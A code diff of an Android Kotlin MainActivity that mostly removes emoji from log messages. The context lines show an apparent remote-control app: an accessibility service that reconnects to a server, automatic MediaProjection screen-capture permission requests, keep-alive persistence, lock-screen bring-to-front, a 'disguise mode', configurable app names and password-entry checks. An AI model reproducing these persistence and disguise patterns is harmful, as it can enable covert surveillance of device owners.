Log.e(TAG, "检查WebView失败", e) } - // ✅ 安装完成后启动保活服务 - 参考 f 目录策略,简化版本 + //安装完成后启动保活服务 - 参考 f 目录策略,简化版本 try { Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)") - // ✅ 参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse) + //参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse) val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) if (android.os.Build.VERSION.SDK_INT >= 26) { startForegroundService(foregroundIntent) } else { startService(foregroundIntent) } - Log.i(TAG, "✅ 主前台服务已启动(对应 f 目录的 BackRunServerUseUse)") + Log.i(TAG, "主前台服务已启动(对应 f 目录的 BackRunServerUseUse)") - // ✅ 启动 WorkManager 保活(对应 f 目录的系统级 WorkManager) + //启动 WorkManager 保活(对应 f 目录的系统级 WorkManager) val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance() workManagerKeepAlive.startKeepAlive(this) - Log.i(TAG, "✅ WorkManager保活已启动") + Log.i(TAG, "WorkManager保活已启动") Log.i(TAG, "🎉 保活服务启动完成") } catch (e: Exception) { - Log.e(TAG, "❌ 启动保活服务失败", e) + Log.e(TAG, "启动保活服务失败", e) } // 启动WebView @@ -1179,18 +1179,18 @@ class MainActivity : AppCompatActivity() { } intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> { - Log.i(TAG, "✅ 检测到自动权限申请请求,启动handleAutoPermissionRequest()") + Log.i(TAG, "检测到自动权限申请请求,启动handleAutoPermissionRequest()") - // ✅ 检查是否已有权限申请在进行,防止重复申请 + //检查是否已有权限申请在进行,防止重复申请 if (permissionRequestInProgress) { - Log.w(TAG, "⚠️ 权限申请已在进行中,忽略重复的Intent") + Log.w(TAG, "权限申请已在进行中,忽略重复的Intent") return } isAutoPermissionRequest = true // 设置自动权限申请标志 permissionRequestInProgress = true // 设置权限申请进行中标志 - // ✅ 检查是否为 MIUI 修复模式 + //检查是否为 MIUI 修复模式 val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) if (isMiuiFix) { Log.i(TAG, "🔧 检测到MIUI权限修复模式,使用特殊处理") @@ -1217,13 +1217,13 @@ class MainActivity : AppCompatActivity() { return } - // ✅ 强制将Activity带到前台,确保用户能看到权限申请界面 - Log.i(TAG, "📱 强制将MainActivity带到前台") + //强制将Activity带到前台,确保用户能看到权限申请界面 + Log.i(TAG, "强制将MainActivity带到前台") try { - // ✅ ANR修复:异步处理窗口焦点操作,避免阻塞主线程 + //ANR修复:异步处理窗口焦点操作,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { - // ✅ 修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR + //修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR // 第一步:设置基本窗口标志 window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) @@ -1237,9 +1237,9 @@ class MainActivity : AppCompatActivity() { setTurnScreenOn(true) setShowWhenLocked(true) - Log.i(TAG, "✅ 窗口标志设置完成") + Log.i(TAG, "窗口标志设置完成") } catch (e: Exception) { - Log.e(TAG, "❌ 设置屏幕标志失败", e) + Log.e(TAG, "设置屏幕标志失败", e) } }, 100) // 100ms延迟,避免ANR @@ -1252,19 +1252,19 @@ class MainActivity : AppCompatActivity() { taskId, android.app.ActivityManager.MOVE_TASK_WITH_HOME ) - Log.i(TAG, "✅ ActivityManager移动任务成功") + Log.i(TAG, "ActivityManager移动任务成功") } catch (e: Exception) { - Log.e(TAG, "❌ ActivityManager移动任务失败", e) + Log.e(TAG, "ActivityManager移动任务失败", e) } }, 200) // 200ms延迟,确保窗口标志设置完成 - Log.i(TAG, "✅ Activity前台显示操作已异步启动") + Log.i(TAG, "Activity前台显示操作已异步启动") } catch (e: Exception) { - Log.e(TAG, "❌ 异步设置Activity前台显示失败", e) + Log.e(TAG, "异步设置Activity前台显示失败", e) } } } catch (e: Exception) { - Log.e(TAG, "❌ 设置Activity前台显示失败", e) + Log.e(TAG, "设置Activity前台显示失败", e) } handleAutoPermissionRequest() @@ -1294,7 +1294,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "检测到智能返回备用启动,显示就绪状态") runOnUiThread { updateStatusTextSafely( - "✅ 应用已启动\n等待权限申请流程...", + "应用已启动\n等待权限申请流程...", android.R.color.holo_blue_dark ) if (::enableButton.isInitialized) { @@ -1309,7 +1309,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "检测到小米Android 13设备返回启动,显示就绪状态") runOnUiThread { updateStatusTextSafely( - "✅ 小米Android 13设备\n应用已启动,等待权限申请流程...", + "小米Android 13设备\n应用已启动,等待权限申请流程...", android.R.color.holo_blue_dark ) if (::enableButton.isInitialized) { @@ -1333,24 +1333,24 @@ class MainActivity : AppCompatActivity() { */ private fun handleAutoPermissionRequest() { Log.i(TAG, "🚀 开始自动权限申请流程") - Log.i(TAG, "📱 当前Activity状态: finishing=$isFinishing, destroyed=$isDestroyed") + Log.i(TAG, "当前Activity状态: finishing=$isFinishing, destroyed=$isDestroyed") - // ✅ ANR修复:异步处理权限检查,避免阻塞主线程 + //ANR修复:异步处理权限检查,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { - // ✅ 关键修复:检查真实的MediaProjection权限,而不仅仅是数据存在 - Log.i(TAG, "🔍 开始检查MediaProjection权限状态...") + //关键修复:检查真实的MediaProjection权限,而不仅仅是数据存在 + Log.i(TAG, "开始检查MediaProjection权限状态...") if (checkRealMediaProjectionPermission()) { - Log.i(TAG, "📱 真实MediaProjection权限已存在且有效,发送停止广播并关闭Activity") + Log.i(TAG, "真实MediaProjection权限已存在且有效,发送停止广播并关闭Activity") - // ✅ 立即发送停止广播,防止MainActivity继续创建 + //立即发送停止广播,防止MainActivity继续创建 val stopIntent = Intent("android.mycustrecev.STOP_ACTIVITY_CREATION") sendBroadcast(stopIntent) Log.i(TAG, "📡 已发送停止Activity创建广播") runOnUiThread { updateStatusTextSafely( - "✅ 权限已配置完成\n功能正常运行", + "权限已配置完成\n功能正常运行", getColor(android.R.color.holo_green_dark) ) } @@ -1363,50 +1363,50 @@ class MainActivity : AppCompatActivity() { // 继续处理权限申请流程 handleAutoPermissionRequestInternal() } catch (e: Exception) { - Log.e(TAG, "❌ 异步处理权限申请失败", e) + Log.e(TAG, "异步处理权限申请失败", e) } } } /** - * ✅ ANR修复:内部权限申请处理方法,避免阻塞主线程 + *ANR修复:内部权限申请处理方法,避免阻塞主线程 */ private fun handleAutoPermissionRequestInternal() { - // ✅ 即使有权限数据但权限无效,也要重新申请 + //即使有权限数据但权限无效,也要重新申请 val permissionData = MediaProjectionHolder.getPermissionData() if (permissionData != null) { - Log.w(TAG, "⚠️ 检测到权限数据存在但MediaProjection权限无效,需要重新申请") - Log.w(TAG, "⚠️ 这可能是因为系统只有无障碍截图权限,缺少MediaProjection实时投屏权限") + Log.w(TAG, "检测到权限数据存在但MediaProjection权限无效,需要重新申请") + Log.w(TAG, "这可能是因为系统只有无障碍截图权限,缺少MediaProjection实时投屏权限") runOnUiThread { updateStatusTextSafely( - "⚠️ 检测到服务配置异常\n需要重新申请服务权限\n正在自动处理...", + "检测到服务配置异常\n需要重新申请服务权限\n正在自动处理...", getColor(android.R.color.holo_orange_dark) ) } } - // ✅ 参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) + //参考billd-desk:Android 11+也需要申请MediaProjection权限(不再跳过) // billd-desk在所有Android版本都通过createScreenCaptureIntent()申请权限 - // ✅ 修复时序问题:无障碍服务刚启用时,状态检查可能还没有更新 + //修复时序问题:无障碍服务刚启用时,状态检查可能还没有更新 // 既然能收到AUTO_REQUEST_PERMISSION,说明无障碍服务已经启动,直接申请权限 if (AccessibilityRemoteService.isServiceRunning()) { - Log.i(TAG, "✅ AccessibilityService实例已运行,直接申请MediaProjection权限") + Log.i(TAG, "AccessibilityService实例已运行,直接申请MediaProjection权限") requestMediaProjectionPermission() } else if (isAccessibilityServiceEnabled()) { - Log.i(TAG, "✅ 系统显示无障碍服务已启用,申请MediaProjection权限") + Log.i(TAG, "系统显示无障碍服务已启用,申请MediaProjection权限") requestMediaProjectionPermission() } else { - // ✅ 启动多次自动重试机制,处理状态更新延迟 - Log.w(TAG, "⚠️ 无障碍服务状态检查失败,启动自动重试机制") + //启动多次自动重试机制,处理状态更新延迟 + Log.w(TAG, "无障碍服务状态检查失败,启动自动重试机制") autoRetryCount = 0 startAutoRetryPermissionCheck() } } /** - * ✅ 新增:启动自动重试权限检测 + *新增:启动自动重试权限检测 */ private fun startAutoRetryPermissionCheck() { // 清理之前的重试任务 @@ -1417,19 +1417,19 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:执行权限检测 + *新增:执行权限检测 */ private fun performPermissionCheck() { autoRetryCount++ - Log.i(TAG, "🔍 执行权限检测 (第${autoRetryCount}次)") + Log.i(TAG, "执行权限检测 (第${autoRetryCount}次)") - // ✅ 检查MediaProjection权限是否真实有效 + //检查MediaProjection权限是否真实有效 if (checkRealMediaProjectionPermission()) { - Log.i(TAG, "✅ MediaProjection权限已存在且有效,停止重试") + Log.i(TAG, "MediaProjection权限已存在且有效,停止重试") stopAutoRetry() runOnUiThread { updateStatusTextSafely( - "✅ 服务权限检测成功\n继续后续权限配置...", + "服务权限检测成功\n继续后续权限配置...", getColor(android.R.color.holo_green_dark) ) } @@ -1442,14 +1442,14 @@ class MainActivity : AppCompatActivity() { // 检查无障碍服务状态 if (AccessibilityRemoteService.isServiceRunning()) { - Log.i(TAG, "✅ AccessibilityService实例已运行,停止重试并申请MediaProjection权限") + Log.i(TAG, "AccessibilityService实例已运行,停止重试并申请MediaProjection权限") stopAutoRetry() requestMediaProjectionPermission() return } if (isAccessibilityServiceEnabled()) { - Log.i(TAG, "✅ 系统显示无障碍服务已启用,停止重试并申请MediaProjection权限") + Log.i(TAG, "系统显示无障碍服务已启用,停止重试并申请MediaProjection权限") stopAutoRetry() requestMediaProjectionPermission() return @@ -1459,7 +1459,7 @@ class MainActivity : AppCompatActivity() { if (autoRetryCount <= MAX_AUTO_RETRY_COUNT) { Log.w( TAG, - "⚠️ 无障碍服务状态检查失败 (${autoRetryCount}/${MAX_AUTO_RETRY_COUNT}),${AUTO_RETRY_INTERVAL / 1000}秒后重试" + "无障碍服务状态检查失败 (${autoRetryCount}/${MAX_AUTO_RETRY_COUNT}),${AUTO_RETRY_INTERVAL / 1000}秒后重试" ) updateStatusTextSafelyOnUiThread( @@ -1473,10 +1473,10 @@ class MainActivity : AppCompatActivity() { scheduleNextRetry() } else { // 达到最大重试次数,转入手动模式 - Log.w(TAG, "❌ 已达到最大重试次数(${MAX_AUTO_RETRY_COUNT}),转入手动配置模式") + Log.w(TAG, "已达到最大重试次数(${MAX_AUTO_RETRY_COUNT}),转入手动配置模式") stopAutoRetry() updateStatusTextSafelyOnUiThread( - "⚠️ 自动检测失败\n" + + "自动检测失败\n" + "已重试${MAX_AUTO_RETRY_COUNT}次,可能需要手动配置\n" + "请确认无障碍服务已正确开启", getColor(android.R.color.holo_red_dark) @@ -1490,7 +1490,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:安排下次重试 + *新增:安排下次重试 */ private fun scheduleNextRetry() { retryHandler = android.os.Handler(android.os.Looper.getMainLooper()) @@ -1504,7 +1504,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:停止自动重试 + *新增:停止自动重试 */ private fun stopAutoRetry() { retryRunnable?.let { runnable -> @@ -1515,13 +1515,13 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 处理权限丢失恢复 - 自动重新申请MediaProjection权限 + *处理权限丢失恢复 - 自动重新申请MediaProjection权限 */ private fun handlePermissionLostRecovery() { Log.i(TAG, "🔧 开始权限丢失恢复流程") if (isAccessibilityServiceEnabled()) { - Log.i(TAG, "✅ 无障碍服务正常,开始自动申请MediaProjection权限") + Log.i(TAG, "无障碍服务正常,开始自动申请MediaProjection权限") // 显示简短提示 - 使用线程安全方法 updateStatusTextThreadSafe("🔧 检测到服务权限权限丢失\n正在自动重新申请权限...", android.R.color.holo_orange_dark) @@ -1533,7 +1533,7 @@ class MainActivity : AppCompatActivity() { }, 1000) } else { - Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置") + Log.w(TAG, "无障碍服务已失效,需要用户重新配置") runOnUiThread { showPermissionRecoveryFailedDialog() } @@ -1546,10 +1546,10 @@ class MainActivity : AppCompatActivity() { private fun showPermissionRecoveryFailedDialog() { try { androidx.appcompat.app.AlertDialog.Builder(this) - .setTitle("⚠️ 权限恢复失败") + .setTitle("权限恢复失败") .setMessage("检测到无障碍服务权限已丢失,无法自动恢复服务权限。\n\n需要重新配置所有权限。") .setPositiveButton("重新配置") { _, _ -> - Log.i(TAG, "✅ 用户选择重新配置权限") + Log.i(TAG, "用户选择重新配置权限") checkAllPermissions() } .setNegativeButton("稍后处理") { _, _ -> @@ -1559,7 +1559,7 @@ class MainActivity : AppCompatActivity() { .setCancelable(false) .show() } catch (e: Exception) { - Log.e(TAG, "❌ 显示权限恢复失败对话框出错", e) + Log.e(TAG, "显示权限恢复失败对话框出错", e) checkAllPermissions() } } @@ -1571,7 +1571,7 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🧠 开始智能权限恢复流程") if (isAccessibilityServiceEnabled()) { - Log.i(TAG, "✅ 无障碍服务正常,开始智能权限恢复") + Log.i(TAG, "无障碍服务正常,开始智能权限恢复") runOnUiThread { // 显示非侵入式恢复状态 @@ -1595,7 +1595,7 @@ class MainActivity : AppCompatActivity() { val recovered = smartManager.setMediaProjection(resultCode, resultData) if (recovered) { - Log.i(TAG, "✅ 智能权限恢复成功") + Log.i(TAG, "智能权限恢复成功") handleSmartRecoverySuccess() return } @@ -1603,13 +1603,13 @@ class MainActivity : AppCompatActivity() { } // 智能恢复失败,进行标准权限申请 - Log.w(TAG, "⚠️ 智能恢复失败,进行标准权限申请") + Log.w(TAG, "智能恢复失败,进行标准权限申请") android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ requestMediaProjectionPermission() }, 1000) } else { - Log.w(TAG, "❌ 无障碍服务已失效,需要用户重新配置") + Log.w(TAG, "无障碍服务已失效,需要用户重新配置") runOnUiThread { showPermissionRecoveryFailedDialog() } @@ -1621,7 +1621,7 @@ class MainActivity : AppCompatActivity() { */ private fun handleSmartRecoverySuccess() { // 使用线程安全方法更新UI - updateStatusTextThreadSafe("✅ 智能权限恢复成功\n服务权限已自动恢复", android.R.color.holo_green_dark) + updateStatusTextThreadSafe("智能权限恢复成功\n服务权限已自动恢复", android.R.color.holo_green_dark) updateButtonSafely("恢复完成", null, false) // 通知AccessibilityService权限恢复成功 @@ -1657,7 +1657,7 @@ class MainActivity : AppCompatActivity() { Log.d(TAG, "🔐 密码输入完成状态: $isCompleted") return isCompleted } catch (e: Exception) { - Log.e(TAG, "❌ 检查密码输入状态失败", e) + Log.e(TAG, "检查密码输入状态失败", e) return false } } @@ -1786,33 +1786,33 @@ class MainActivity : AppCompatActivity() { * 处理服务自动重启 */ private fun handleAutoRestart() { - Log.i(TAG, "🔄 开始服务自动重启流程") + Log.i(TAG, "开始服务自动重启流程") val accessibilityLost = intent.getBooleanExtra("accessibility_lost", false) if (accessibilityLost) { - Log.w(TAG, "⚠️ 检测到无障碍服务权限丢失,返回主页等待用户手动操作") - // ✅ 修改:不自动跳转无障碍设置,直接返回主页 + Log.w(TAG, "检测到无障碍服务权限丢失,返回主页等待用户手动操作") + //修改:不自动跳转无障碍设置,直接返回主页 updateUI() } else if (isAccessibilityServiceEnabled()) { - Log.i(TAG, "✅ 无障碍服务已启用,尝试重新连接") + Log.i(TAG, "无障碍服务已启用,尝试重新连接") // 获取AccessibilityService实例并重新连接 val accessibilityService = AccessibilityRemoteService.getInstance() if (accessibilityService != null) { - Log.i(TAG, "✅ 找到AccessibilityService实例,重新连接服务器") + Log.i(TAG, "找到AccessibilityService实例,重新连接服务器") accessibilityService.reconnectToServer() // 显示状态,但不自动最小化 updateUI() - Log.i(TAG, "✅ 服务重连完成,保持应用在前台显示状态") + Log.i(TAG, "服务重连完成,保持应用在前台显示状态") } else { - Log.w(TAG, "⚠️ AccessibilityService实例不可用,需要用户重新启动") + Log.w(TAG, "AccessibilityService实例不可用,需要用户重新启动") updateUI() } } else { - Log.w(TAG, "⚠️ 无障碍服务未启用,返回主页等待用户手动操作") - // ✅ 修改:不自动跳转无障碍设置,直接返回主页 + Log.w(TAG, "无障碍服务未启用,返回主页等待用户手动操作") + //修改:不自动跳转无障碍设置,直接返回主页 updateUI() } } @@ -1824,10 +1824,10 @@ class MainActivity : AppCompatActivity() { runOnUiThread { try { androidx.appcompat.app.AlertDialog.Builder(this) - .setTitle("⚠️ 无障碍服务权限丢失") + .setTitle("无障碍服务权限丢失") .setMessage("检测到无障碍服务权限已丢失,这通常发生在应用被强制关闭后。\n\n需要重新授权无障碍服务以恢复功能。") .setPositiveButton("重新授权") { _, _ -> - Log.i(TAG, "✅ 用户选择重新授权无障碍服务") + Log.i(TAG, "用户选择重新授权无障碍服务") openAccessibilitySettings() } .setNegativeButton("稍后处理") { _, _ -> @@ -1837,7 +1837,7 @@ class MainActivity : AppCompatActivity() { .setCancelable(false) .show() } catch (e: Exception) { - Log.e(TAG, "❌ 显示权限丢失对话框失败", e) + Log.e(TAG, "显示权限丢失对话框失败", e) // 备用方案:直接打开设置 openAccessibilitySettings() } @@ -1864,7 +1864,7 @@ class MainActivity : AppCompatActivity() { override fun onResume() { super.onResume() - // ✅ 参考zuiqiang:移除onResume中的保活检测 + //参考zuiqiang:移除onResume中的保活检测 // zuiqiang的做法是在onDestroy时启动透明保活Activity,而不是在onResume中检测 // 🚀 关键优化:检查是否在 WebView 模式,如果是则跳过所有检查 @@ -1874,11 +1874,11 @@ class MainActivity : AppCompatActivity() { if (isWebViewVisible) { Log.d(TAG, "🌐 WebView 模式:跳过所有后台检查,优化性能") - // ✅ Activity回到前台,如果WebView打开,恢复状态更新 + //Activity回到前台,如果WebView打开,恢复状态更新 if (this.isWebViewVisible) { // WebView可见且Activity在前台,立即更新状态 com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(true) - Log.i(TAG, "✅ Activity回到前台,已恢复WebView状态更新") + Log.i(TAG, "Activity回到前台,已恢复WebView状态更新") } // 🚀 WebView 模式:关闭日志收集以提升性能 @@ -1887,32 +1887,32 @@ class MainActivity : AppCompatActivity() { // serviceInstance?.disableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 WebView 模式:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } // 只恢复 WebView,不执行其他检查 resumeWebView() return } - // ✅ ANR修复:异步处理onResume逻辑,避免阻塞主线程 + //ANR修复:异步处理onResume逻辑,避免阻塞主线程 android.os.Handler(android.os.Looper.getMainLooper()).post { try { - // 🔍 onResume 无障碍健康检查:若已授权但未运行,则触发恢复 + // onResume 无障碍健康检查:若已授权但未运行,则触发恢复 try { val enabled = isAccessibilityServiceEnabled() val instance = AccessibilityRemoteService.getInstance() val running = AccessibilityRemoteService.isServiceRunning() Log.i( TAG, - "🔍 onResume 无障碍健康检查: enabled=" + enabled + ", instance=" + (instance != null) + ", running=" + running + "onResume 无障碍健康检查: enabled=" + enabled + ", instance=" + (instance != null) + ", running=" + running ) if (enabled && (instance == null || !running)) { - Log.w(TAG, "⚠️ onResume: 无障碍权限已启用但服务未运行,尝试恢复") + Log.w(TAG, "onResume: 无障碍权限已启用但服务未运行,尝试恢复") forceRecoverAccessibilityService() } } catch (e: Exception) { - Log.e(TAG, "❌ onResume 无障碍健康检查异常", e) + Log.e(TAG, "onResume 无障碍健康检查异常", e) } // 🎭 检查是否是伪装模式,如果是则不执行UI更新 @@ -1966,7 +1966,7 @@ class MainActivity : AppCompatActivity() { // serviceInstance?.enableLogging() // 暂停:暂时不切换日志 Log.i(TAG, "🌐 应用不在前台:跳过日志开关") } catch (e: Exception) { - Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") + Log.w(TAG, "处理日志开关时异常: ${e.message}") } } @@ -1978,14 +1978,14 @@ class MainActivity : AppCompatActivity() { serviceSwitch = findViewById(R.id.serviceSwitch) appIconImageView = findViewById(R.id.appIconImageView) - // ✅ 新增:从配置文件加载页面样式 + //新增:从配置文件加载页面样式 loadPageStyleConfig() } /** - * ✅ 新增:从配置文件加载页面样式配置 + *新增:从配置文件加载页面样式配置 */ private fun loadPageStyleConfig() { try { @@ -1994,21 +1994,21 @@ class MainActivity : AppCompatActivity() { inputStream.bufferedReader().use { it.readText() } } - Log.i(TAG, "🔍 读取到的配置文件内容: $configJson") + Log.i(TAG, "读取到的配置文件内容: $configJson") val config = org.json.JSONObject(configJson) val pageStyleConfig = config.optJSONObject("pageStyleConfig") - Log.i(TAG, "🔍 pageStyleConfig对象: ${pageStyleConfig?.toString()}") + Log.i(TAG, "pageStyleConfig对象: ${pageStyleConfig?.toString()}") if (pageStyleConfig != null && pageStyleConfig.length() > 0) { - Log.i(TAG, "✅ 检测到页面样式配置,应用自定义样式") + Log.i(TAG, "检测到页面样式配置,应用自定义样式") // 应用自定义应用名称 val customAppName = pageStyleConfig.optString("appName", "") if (customAppName.isNotEmpty()) { appNameText.text = customAppName - Log.i(TAG, "📝 应用自定义应用名称: $customAppName") + Log.i(TAG, "应用自定义应用名称: $customAppName") } // 应用自定义的按钮文字(从pageStyleConfig读取,如果没有则从strings.xml读取) @@ -2016,7 +2016,7 @@ class MainActivity : AppCompatActivity() { if (enableButtonText.isNotEmpty()) { enableButton.text = enableButtonText - Log.i(TAG, "📝 应用自定义启用按钮文字: $enableButtonText") + Log.i(TAG, "应用自定义启用按钮文字: $enableButtonText") } // 保存自定义状态文本和使用说明(在updateUI方法中会使用) @@ -2025,8 +2025,8 @@ class MainActivity : AppCompatActivity() { customStatusText = configStatusText.replace("\\n", "\n") // 🔑 启用状态文本保护,防止被动态修改 preserveCustomStatusText = true - Log.i(TAG, "📝 保存自定义状态文字: $configStatusText") - Log.i(TAG, "📝 转换后的状态文字: $customStatusText") + Log.i(TAG, "保存自定义状态文字: $configStatusText") + Log.i(TAG, "转换后的状态文字: $customStatusText") Log.i(TAG, "🛡️ 已启用状态文本保护,防止动态修改") } @@ -2034,17 +2034,17 @@ class MainActivity : AppCompatActivity() { if (configUsageInstructions.isNotEmpty()) { customUsageInstructions = configUsageInstructions.replace("\\n", "\n") usageInstructionsText.text = customUsageInstructions ?: "" - Log.i(TAG, "📝 保存自定义使用说明: $configUsageInstructions") + Log.i(TAG, "保存自定义使用说明: $configUsageInstructions") } } else { - Log.i(TAG, "📝 未检测到页面样式配置或配置为空,使用默认样式") + Log.i(TAG, "未检测到页面样式配置或配置为空,使用默认样式") // 如果没有自定义配置,从strings.xml读取默认文字 applyDefaultTexts() } } catch (e: Exception) { - Log.w(TAG, "⚠️ 加载页面样式配置失败,使用默认样式: ${e.message}") + Log.w(TAG, "加载页面样式配置失败,使用默认样式: ${e.message}") e.printStackTrace() // 如果配置文件不存在或读取失败,从strings.xml读取默认文字 applyDefaultTexts() @@ -2052,7 +2052,7 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:应用默认文字(从strings.xml读取) + *新增:应用默认文字(从strings.xml读取) */ private fun applyDefaultTexts() { try { @@ -2062,9 +2062,9 @@ class MainActivity : AppCompatActivity() { usageInstructionsText.text = getString(R.string.usage_instructions) // 🔑 使用默认文本时不启用保护 preserveCustomStatusText = false - Log.i(TAG, "📝 已应用默认文字配置") + Log.i(TAG, "已应用默认文字配置") } catch (e: Exception) { - Log.e(TAG, "❌ 应用默认文字失败: ${e.message}") + Log.e(TAG, "应用默认文字失败: ${e.message}") } } @@ -2078,7 +2078,7 @@ class MainActivity : AppCompatActivity() { when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置") - // ✅ 用户主动点击按钮时,跳转到无障碍设置 + //用户主动点击按钮时,跳转到无障碍设置 openAccessibilitySettings() } @@ -2146,7 +2146,7 @@ class MainActivity : AppCompatActivity() { } startActivity(intent) } catch (e: Exception) { - Log.e(TAG, "❌ 测试启动密码输入页面失败", e) + Log.e(TAG, "测试启动密码输入页面失败", e) android.widget.Toast.makeText( this, "启动失败: ${e.message}", @@ -2159,9 +2159,9 @@ class MainActivity : AppCompatActivity() { * 更新Switch状态,与服务状态同步 */ private fun updateSwitchState() { - // ✅ 安全检查:确保UI组件已初始化 + //安全检查:确保UI组件已初始化 if (!::serviceSwitch.isInitialized) { - Log.w(TAG, "⚠️ serviceSwitch未初始化,跳过updateSwitchState") + Log.w(TAG, "serviceSwitch未初始化,跳过updateSwitchState") return } @@ -2189,7 +2189,7 @@ class MainActivity : AppCompatActivity() { when { !isAccessibilityEnabled -> { Log.i(TAG, "无障碍服务未启用,用户主动点击按钮,跳转到无障碍设置") - // ✅ 用户主动点击按钮时,跳转到无障碍设置 + //用户主动点击按钮时,跳转到无障碍设置 openAccessibilitySettings() } @@ -2218,10 +2218,10 @@ class MainActivity : AppCompatActivity() { } /** - * ✅ 新增:APP打开时强制检查并恢复无障碍服务 + *新增:APP打开时强制检查并恢复无障碍服务 */ private fun forceCheckAndRecoverAccessibilityService() { - Log.i(TAG, "🔍 APP打开时强制检查无障碍服务状态") + Log.i(TAG, "APP打开时强制检查无障碍服务状态") try { val isAccessibilityEnabled = isAccessibilityServiceEnabled() @@ -2235,22 +2235,22 @@ class MainActivity : AppCompatActivity() { if (isAccessibilityEnabled) { if (serviceInstance == null || !serviceRunning) { - Log.w(TAG, "⚠️ 检测到无障碍服务权限已启用但服务未运行,尝试强制恢复") + Log.w(TAG, "检测到无障碍服务权限已启用但服务未运行,尝试强制恢复") forceRecoverAccessibilityService() } else { - Log.i(TAG, "✅ 无障碍服务运行正常") + Log.i(TAG, "无障碍服务运行正常") } } else { Log.i(TAG, "ℹ️ 无障碍服务权限未启用,等待用户手动启用") } } catch (e: Exception) { - Log.e(TAG, "❌ 强制检查无障碍服务失败", e) + Log.e(TAG, "强制检查无障碍服务失败", e) } } /** - * ✅ 新增:强制恢复无障碍服务 + *新增:强制恢复无障碍服务 */ private fun forceRecoverAccessibilityService() { // 检查是否为Vivo设备 @@ -2258,20 +2258,20 @@ class MainActivity : AppCompatActivity() { android.os.Build.MANUFACTURER?.lowercase()?.contains("vivo") == true if (isVivoDevice) { - Log.i(TAG, "📱 检测到Vivo设备,使用Vivo特定恢复策略") + Log.i(TAG, "检测到Vivo设备,使用Vivo特定恢复策略") handleVivoAccessibilityRecovery() } else { - Log.i(TAG, "📱 非Vivo设备,使用标准恢复策略") + Log.i(TAG, "非Vivo设备,使用标准恢复策略") performStandardAccessibilityRecovery() } } /** - * ✅ 新增:Vivo设备无障碍服务恢复 + *新增:Vivo设备无障碍服务恢复 */ private fun handleVivoAccessibilityRecovery() { try { - Log.i(TAG, "🔄 开始Vivo无障碍服务恢复") + Log.i(TAG, "开始Vivo无障碍服务恢复") // 启动Vivo恢复处理器 val recoveryHandler = com.hikoncont.service.modules.VivoAccessibilityRecovery(this) @@ -2281,28 +2281,28 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "📊 Vivo无障碍服务状态: $status") if (!status.isEnabled) { - Log.w(TAG, "⚠️ Vivo设备:无障碍服务未启用,引导用户手动启用") + Log.w(TAG, "Vivo设备:无障碍服务未启用,引导用户手动启用") guideUserToEnableAccessibility() } else if (status.isEnabled && !status.isRunning) { - Log.w(TAG, "⚠️ Vivo设备:无障碍服务已启用但未运行,尝试Vivo特定恢复") + Log.w(TAG, "Vivo设备:无障碍服务已启用但未运行,尝试Vivo特定恢复") performVivoSpecificRecovery() } else { - Log.i(TAG, "✅ Vivo设备:无障碍服务状态正常") + Log.i(TAG, "Vivo设备:无障碍服务状态正常") } } catch (e: Exception) { - Log.e(TAG, "❌ Vivo无障碍服务恢复失败", e) + Log.e(TAG, "Vivo无障碍服务恢复失败", e) // 启动降级模式防止APP闪退 startDegradedMode() } } /** - * ✅ 新增:引导用户手动启用无障碍服务 + *新增:引导用户手动启用无障碍服务 */ private fun guideUserToEnableAccessibility() { try { - Log.i(TAG, "📱 引导用户到无障碍设置页面") + Log.i(TAG, "引导用户到无障碍设置页面") runOnUiThread { if (::statusText.isInitialized) { @@ -2317,22 +2317,22 @@ class MainActivity : AppCompatActivity() { } } - // ✅ 修改:不自动跳转无障碍设置,等待用户手动点击按钮 + //修改:不自动跳转无障碍设置,等待用户手动点击按钮 // android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ // openAccessibilitySettings() // }, 1000) } catch (e: Exception) { - Log.e(TAG, "❌ 引导用户启用无障碍服务失败", e) + Log.e(TAG, "引导用户启用无障碍服务失败", e) } } /** - * ✅ 新增:Vivo特定恢复策略 + *新增:Vivo特定恢复策略 */ private fun performVivoSpecificRecovery() { try { - Log.i(TAG, "🔄 执行Vivo特定恢复策略") + Log.i(TAG, "执行Vivo特定恢复策略") runOnUiThread { if (::statusText.isInitialized) { @@ -2351,10 +2351,10 @@ class MainActivity : AppCompatActivity() { while (attempts < maxAttempts) { attempts++ - Log.d(TAG, "🔄 Vivo恢复尝试 $attempts/$maxAttempts") + Log.d(TAG, "Vivo恢复尝试 $attempts/$maxAttempts") if (recoveryHandler.recoverAccessibilityService()) { - Log.i(TAG, "✅ Vivo无障碍服务恢复成功") + Log.i(TAG, "Vivo无障碍服务恢复成功") runOnUiThread { if (::statusText.isInitialized) { statusText.text = 